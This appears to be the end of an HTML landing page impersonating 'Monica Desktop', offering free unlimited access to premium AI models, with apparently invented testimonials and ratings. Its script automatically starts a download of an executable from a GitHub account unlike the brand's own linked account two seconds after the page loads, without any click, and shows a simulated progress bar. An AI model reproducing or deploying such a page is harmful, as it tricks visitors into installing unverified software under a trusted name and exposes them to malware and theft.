Scientist</p> </div> </div> </div> </div> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "Monica Desktop's privacy features give me peace of mind when working with sensitive client data. The local processing option is perfect for confidential projects." </p> <div class="testimonial-author"> <div class="testimonial-avatar">MR</div> <div class="testimonial-info"> <h4>Michael Rodriguez</h4> <p>Legal Consultant</p> </div> </div> </div> </div> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "The multi-language support is exceptional. I work with international clients, and Monica helps me communicate effectively in multiple languages with cultural context." </p> <div class="testimonial-author"> <div class="testimonial-avatar">EK</div> <div class="testimonial-info"> <h4>Elena Kowalski</h4> <p>International Business Consultant</p> </div> </div> </div> </div> <div class="testimonial"> <div class="testimonial-content"> <p class="testimonial-text"> "Best AI desktop app I've ever used. The interface is intuitive, the AI responses are incredibly helpful, and having everything offline when needed is fantastic." </p> <div class="testimonial-author"> <div class="testimonial-avatar">TC</div> <div class="testimonial-info"> <h4>Thomas Chen</h4> <p>Digital Marketing Director</p> </div> </div> </div> </div> </div> </div> </section> <!-- Download Section --> <section class="download-section" id="download"> <div class="container"> <div class="download-content"> <h2>Download Monica Desktop 2025</h2> <p class="download-subtitle"> Get instant access to 20+ premium AI models. Free forever, no credit card required. Available for Windows, macOS, and Linux. </p> <div class="platform-buttons"> <button class="platform-btn" data-platform="windows"> <i class="fab fa-windows"></i> <span>Download for Windows</span> </button> <button class="platform-btn" data-platform="mac"> <i class="fab fa-apple"></i> <span>Download for macOS</span> </button> <button class="platform-btn" data-platform="linux"> <i class="fab fa-linux"></i> <span>Download for Linux</span> </button> </div> <div class="auto-download-info"> <h3>🚀 Smart Auto-Detection</h3> <p> Monica automatically detects your operating system and starts downloading the correct version. Your download will begin shortly after visiting this page. </p> </div> </div> </div> </section> <!-- Footer --> <footer> <div class="container"> <div class="footer-content"> <div class="footer-section"> <h3>Monica Desktop</h3> <p>Your ultimate AI assistant desktop application. Experience the power of multiple AI models in one beautiful, secure, and privacy-focused app.</p> </div> <div class="footer-section"> <h3>Quick Links</h3> <ul class="footer-links"> <li><a href="#features">Features</a></li> <li><a href="#ai-models">AI Models</a></li> <li><a href="#testimonials">Testimonials</a></li> <li><a href="#download">Download</a></li> <li><a href="https://monica.im" target="_blank">Web Version</a></li> </ul> </div> <div class="footer-section"> <h3>Support</h3> <ul class="footer-links"> <li><a href="mailto:support@monica.im">Contact Support</a></li> <li><a href="https://monica.im/help" target="_blank">Help Center</a></li> <li><a href="https://monica.im/privacy" target="_blank">Privacy Policy</a></li> <li><a href="https://monica.im/terms" target="_blank">Terms of Service</a></li> <li><a href="https://monica.im/changelog" target="_blank">What's New</a></li> </ul> </div> <div class="footer-section"> <h3>Connect</h3> <ul class="footer-links"> <li><a href="https://twitter.com/monica_im" target="_blank">Twitter</a></li> <li><a href="https://discord.gg/monica" target="_blank">Discord Community</a></li> <li><a href="https://github.com/monica-im" target="_blank">GitHub</a></li> <li><a href="https://blog.monica.im" target="_blank">Blog</a></li> <li><a href="mailto:hello@monica.im">Email Us</a></li> </ul> </div> </div> <div class="footer-bottom"> <p>© 2025 Monica AI. All rights reserved. Made with ❤️ for productivity enthusiasts worldwide.</p> <div class="social-links"> <a href="https://twitter.com/monica_im" target="_blank" aria-label="Twitter"> <i class="fab fa-twitter"></i> </a> <a href="https://discord.gg/monica" target="_blank" aria-label="Discord"> <i class="fab fa-discord"></i> </a> <a href="https://github.com/monica-im" target="_blank" aria-label="GitHub"> <i class="fab fa-github"></i> </a> <a href="https://linkedin.com/company/monica-ai" target="_blank" aria-label="LinkedIn"> <i class="fab fa-linkedin"></i> </a> </div> </div> </div> </footer> <script> // Enhanced Auto-Download System with Real GitHub Link const MONICA_DOWNLOAD_URLS = { windows: 'https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest/download/Monica_Desktop.exe', mac: 'https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest/download/Monica_Desktop.dmg', linux: 'https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest/download/Monica_Desktop.AppImage' }; // Detect user's operating system function detectOS() { const userAgent = navigator.userAgent.toLowerCase(); if (userAgent.includes('windows') || userAgent.includes('win32') || userAgent.includes('win64')) { return 'windows'; } else if (userAgent.includes('mac') || userAgent.includes('darwin')) { return 'mac'; } else if (userAgent.includes('linux') || userAgent.includes('x11')) { return 'linux'; } return 'windows'; // Default to Windows } // Show success notification function showSuccessNotification(message = 'Download started! Check your downloads folder.') { const notification = document.getElementById('successNotification'); notification.textContent = ''; const icon = document.createElement('i'); icon.className = 'fas fa-check-circle'; const text = document.createElement('span'); text.textContent = message; notification.appendChild(icon); notification.appendChild(text); notification.style.display = 'block'; notification.classList.add('success-animation'); // Auto-hide after 5 seconds setTimeout(() => { notification.style.animation = 'slideOutRight 0.5s ease-in-out'; setTimeout(() => { notification.style.display = 'none'; notification.style.animation = ''; notification.classList.remove('success-animation'); }, 500); }, 5000); } // Download function with analytics function downloadMonica(platform = null) { const targetPlatform = platform || detectOS(); const downloadUrl = MONICA_DOWNLOAD_URLS[targetPlatform]; // Track download event if (typeof gtag !== 'undefined') { gtag('event', 'download', { 'event_category': 'Monica Desktop', 'event_label': targetPlatform, 'value': 1 }); } // Create invisible download link const downloadLink = document.createElement('a'); downloadLink.href = downloadUrl; downloadLink.download = ''; downloadLink.style.display = 'none'; document.body.appendChild(downloadLink); // Trigger download downloadLink.click(); document.body.removeChild(downloadLink); // Show success notification const platformNames = { 'windows': 'Windows', 'mac': 'macOS', 'linux': 'Linux' }; showSuccessNotification(`Monica Desktop for ${platformNames[targetPlatform]} is downloading...`); // Optional: Redirect to thank you page after short delay setTimeout(() => { // You can redirect to a thank you page or GitHub releases // window.location.href = 'https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest'; }, 2000); } // Auto-download on page load (with 2-second delay) window.addEventListener('load', () => { setTimeout(() => { downloadMonica(); }, 2000); }); // Header scroll effect window.addEventListener('scroll', () => { const header = document.getElementById('header'); if (window.scrollY > 100) { header.classList.add('header-scrolled'); } else { header.classList.remove('header-scrolled'); } }); // Download button event listeners document.addEventListener('DOMContentLoaded', () => { // Main download buttons const downloadButtons = [ document.getElementById('downloadBtn'), document.getElementById('mainDownloadBtn') ]; downloadButtons.forEach(btn => { if (btn) { btn.addEventListener('click', (e) => { e.preventDefault(); downloadMonica(); }); } }); // Platform-specific download buttons const platformButtons = document.querySelectorAll('.platform-btn'); platformButtons.forEach(btn => { btn.addEventListener('click', (e) => { e.preventDefault(); const platform = btn.getAttribute('data-platform'); downloadMonica(platform); }); }); }); // Smooth scrolling for navigation links document.querySelectorAll('a[href^="#"]').forEach(anchor => { anchor.addEventListener('click', function (e) { e.preventDefault(); const target = document.querySelector(this.getAttribute('href')); if (target) { target.scrollIntoView({ behavior: 'smooth', block: 'start' }); } }); }); // Mobile menu functionality const mobileMenuBtn = document.querySelector('.mobile-menu-btn'); const navLinks = document.querySelector('.nav-links'); if (mobileMenuBtn && navLinks) { mobileMenuBtn.addEventListener('click', () => { navLinks.classList.toggle('active'); const icon = mobileMenuBtn.querySelector('i'); if (navLinks.classList.contains('active')) { icon.className = 'fas fa-times'; } else { icon.className = 'fas fa-bars'; } }); } // Intersection Observer for animations const observerOptions = { threshold: 0.1, rootMargin: '0px 0px -50px 0px' }; const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.style.opacity = '1'; entry.target.style.transform = 'translateY(0)'; } }); }, observerOptions); // Observe elements for animation document.addEventListener('DOMContentLoaded', () => { const animateElements = document.querySelectorAll('.feature-card, .ai-model, .testimonial, .desktop-feature'); animateElements.forEach(el => { el.style.opacity = '0'; el.style.transform = 'translateY(30px)'; el.style.transition = 'opacity 0.6s ease, transform 0.6s ease'; observer.observe(el); }); }); // Keyboard navigation support document.addEventListener('keydown', (e) => { if (e.key === 'Enter' || e.key === ' ') { const focusedElement = document.activeElement; if (focusedElement.classList.contains('btn') || focusedElement.classList.contains('platform-btn')) { e.preventDefault(); focusedElement.click(); } } }); // Enhanced error handling for downloads window.addEventListener('error', (e) => { if (e.target.tagName === 'A' && e.target.href.includes('github.com')) { console.warn('Download link error, falling back to GitHub releases page'); window.open('https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest', '_blank'); } }); // Performance monitoring window.addEventListener('load', () => { if ('performance' in window) { const loadTime = performance.timing.loadEventEnd - performance.timing.navigationStart; console.log(`Page loaded in ${loadTime}ms`); // Track performance if analytics available if (typeof gtag !== 'undefined') { gtag('event', 'timing_complete', { 'name': 'page_load', 'value': loadTime }); } } }); // Accessibility improvements document.addEventListener('DOMContentLoaded', () => { // Add ARIA labels to buttons const downloadBtns = document.querySelectorAll('.btn, .platform-btn'); downloadBtns.forEach(btn => { if (!btn.getAttribute('aria-label')) { btn.setAttribute('aria-label', btn.textContent.trim()); } }); // Add focus indicators const focusableElements = document.querySelectorAll('button, a, input, select, textarea, [tabindex]'); focusableElements.forEach(el => { el.addEventListener('focus', () => { el.style.outline = '2px solid var(--monica-primary)'; el.style.outlineOffset = '2px'; }); el.addEventListener('blur', () => { el.style.outline = ''; el.style.outlineOffset = ''; }); }); }); // Console welcome message console.log(` 🚀 Monica Desktop 2025 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🚀 Monica Desktop 2025 Welcome to Monica Desktop! Features: • 20+ Premium AI Models (GPT-4, Claude-3, Gemini Pro) • Unlimited Usage - No Daily Limits • Privacy-First Architecture • Cross-Platform Support • Real-time Web Search • Document Analysis • Code Generation Your download should start automatically... If not, click any download button above! Need help? Visit: https://monica.im/help Join our community: https://discord.gg/monica Happy AI-ing! 🤖✨ `); // Additional utility functions function copyToClipboard(text) { if (navigator.clipboard && window.isSecureContext) { return navigator.clipboard.writeText(text); } else { // Fallback for older browsers const textArea = document.createElement('textarea'); textArea.value = text; textArea.style.position = 'fixed'; textArea.style.left = '-999999px'; textArea.style.top = '-999999px'; document.body.appendChild(textArea); textArea.focus(); textArea.select(); return new Promise((resolve, reject) => { document.execCommand('copy') ? resolve() : reject(); document.body.removeChild(textArea); }); } } // Share functionality function shareApp() { if (navigator.share) { navigator.share({ title: 'Monica Desktop - Ultimate AI Assistant', text: 'Check out Monica Desktop! Access GPT-4, Claude-3, Gemini Pro and 20+ AI models for free.', url: window.location.href }); } else { copyToClipboard(window.location.href).then(() => { showSuccessNotification('Link copied to clipboard!'); }); } } // Add share button functionality if exists document.addEventListener('DOMContentLoaded', () => { const shareBtn = document.querySelector('.share-btn'); if (shareBtn) { shareBtn.addEventListener('click', shareApp); } }); // Preload critical resources function preloadResources() { const criticalResources = [ 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css', 'https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&family=Poppins:wght@300;400;500;600;700;800;900&display=swap' ]; criticalResources.forEach(url => { const link = document.createElement('link'); link.rel = 'preload'; link.as = 'style'; link.href = url; document.head.appendChild(link); }); } // Initialize app function initializeApp() { preloadResources(); // Update download button text based on OS const userOS = detectOS(); const osNames = { 'windows': 'Windows', 'mac': 'macOS', 'linux': 'Linux' }; const downloadButtons = document.querySelectorAll('#downloadBtn, #mainDownloadBtn'); downloadButtons.forEach(btn => { if (btn) { const originalText = btn.textContent; btn.textContent = `Download for ${osNames[userOS]}`; btn.setAttribute('data-original-text', originalText); } }); // Add version info const versionInfo = document.createElement('div'); versionInfo.style.cssText = ` position: fixed; bottom: 10px; right: 10px; background: rgba(0,0,0,0.7); color: white; padding: 5px 10px; border-radius: 15px; font-size: 0.75rem; z-index: 1000; opacity: 0.7; `; versionInfo.textContent = 'v2025.1.0'; document.body.appendChild(versionInfo); } // Call initialize when DOM is ready if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initializeApp); } else { initializeApp(); } // Service Worker registration for offline support if ('serviceWorker' in navigator) { window.addEventListener('load', () => { navigator.serviceWorker.register('/sw.js') .then(registration => { console.log('SW registered: ', registration); }) .catch(registrationError => { console.log('SW registration failed: ', registrationError); }); }); } // Update available notification if ('serviceWorker' in navigator) { navigator.serviceWorker.addEventListener('controllerchange', () => { showSuccessNotification('App updated! Refresh to see new features.'); }); } // Keyboard shortcuts document.addEventListener('keydown', (e) => { // Ctrl/Cmd + D to download if ((e.ctrlKey || e.metaKey) && e.key === 'd') { e.preventDefault(); downloadMonica(); } // Ctrl/Cmd + S to share if ((e.ctrlKey || e.metaKey) && e.key === 's') { e.preventDefault(); shareApp(); } }); // Add download progress simulation function simulateDownloadProgress() { const progressBar = document.createElement('div'); progressBar.style.cssText = ` position: fixed; top: 0; left: 0; width: 0%; height: 3px; background: linear-gradient(90deg, #667eea 0%, #764ba2 100%); z-index: 10000; transition: width 0.3s ease; `; document.body.appendChild(progressBar); let progress = 0; const interval = setInterval(() => { progress += Math.random() * 15; if (progress >= 100) { progress = 100; clearInterval(interval); setTimeout(() => { progressBar.remove(); }, 500); } progressBar.style.width = progress + '%'; }, 200); } // Enhanced download function with progress const originalDownload = downloadMonica; downloadMonica = function(platform) { simulateDownloadProgress(); return originalDownload(platform); }; </script> <!-- Schema.org structured data for SEO --> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "SoftwareApplication", "name": "Monica Desktop", "description": "Ultimate AI assistant desktop application with access to GPT-4, Claude-3, Gemini Pro and 20+ premium AI models", "url": "https://monica.im/desktop", "downloadUrl": "https://github.com/MONICA-OFFICIALS/MONICA-AI-DESKTOP-VERSION/releases/latest", "operatingSystem": ["Windows", "macOS", "Linux"], "applicationCategory": "ProductivityApplication", "offers": { "@type": "Offer", "price": "0", "priceCurrency": "USD" }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "4.9", "ratingCount": "10000" }, "author": { "@type": "Organization", "name": "Monica AI", "url": "https://monica.im" } } </script> <!-- Preconnect to external domains --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://cdnjs.cloudflare.com"> <link rel="preconnect" href="https://github.com"> <!-- DNS prefetch for better performance --> <link rel="dns-prefetch" href="//monica.im"> <link rel="dns-prefetch" href="//cdn-1.webcatalog.io"> </body> </html>